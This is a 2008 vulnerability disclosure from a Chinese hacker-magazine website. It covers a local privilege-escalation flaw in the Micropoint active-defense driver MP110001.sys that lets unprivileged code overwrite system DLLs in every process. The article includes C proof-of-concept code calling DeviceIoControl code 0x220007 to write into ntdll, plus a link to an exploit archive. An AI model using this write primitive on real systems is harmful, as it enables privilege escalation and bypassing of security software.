黑客防线,在攻与防的对立统一中寻求突破!2001年创刊的黑客技术专业刊物!

设为首页
收藏本站
联系我们
网站导航


黑客文章 - 本地提权 - 浏览 - 微点主动防御(version20081008)及以下本地权限提升漏洞(user权限下绕过UAC、主动防御)
微点主动防御(version20081008)及以下本地权限提升漏洞(user权限下绕过UAC、主动防御)
http://www.hacker.com.cn/ 2008-10-9 11:50:40 黑客防线
微点主动防御(version20081008)及以下本地权限提升漏洞(user权限下绕过UAC、主动防御)
出问题的组件:MP110001.sys,版本号:1.2.10006 CheckSum = 0x00009F60 TimeStamp = 0x43620505

该驱动提供了一个接口,允许RING3程序将一块数据COPY到地址0-0x80000000的任意地址,在写入时会将寄存器CR0的第16位置0,此时CPU的页保护机制就会失效,WINDOWS NT 的CopyOnWrite机制也将失效,RING3程序可以将内存写入到系统模块,例如kernel32.dll, user32.dll的地址,改写它们的代码,此时对系统DLL代码的改写会在所有进程体内同时生效.

通过这一接口,任何权限的RING3程序就可以HOOK或旁路系统任何进程的函数调用,从而进行权限提升,如果HOOK进主动防御、防火墙等的进程体内,则可绕过主动防御软件的保护。

测试代码:


HANDLE hdev = CreateFile("\\\\.\\MP110001" ,
   FILE_READ_ATTRIBUTES ,
   FILE_SHARE_READ |FILE_SHARE_WRITE ,
   0,
   OPEN_EXISTING ,
   0,
   0);

if (hdev == INVALID_HANDLE_VALUE)
{

   CHAR xx[100];
   sprintf(xx , "create err = %u\n" , GetLastError());
   MessageBox(xx, 0 , 0 );
   return ;
}

CHAR xx[] = "hello mp!";

HMODULE p = GetModuleHandle("ntdll.dll");

ULONG btr ;

BOOL bret = DeviceIoControl(hdev ,
   0x220007,
   (PVOID)((ULONG)p + 2 ),
   strlen(xx)+1 ,
   xx,
   0,
   &btr ,
   0
   );

CloseHandle(hdev);


测试代码会向NTDLL.DLL的DOS头第二个字节开始写入一个字符串“hello mp",此修改将在系统任何进程体内生效,可使用OD、WINDBG,WINHEX等工具查看

测试程序下载http://mj0011.ys168.com 漏洞演示目录下LOCALexp_MP.rar
所属分类: 本地提权   所属专题:
共有 332 人次浏览 收藏本页 返回上一页
评论作者:
电子邮件:
评论内容:
投票评价:
验 证 码:
图片包含4个随机字符,点击刷新
请输入上面图片中的随机字符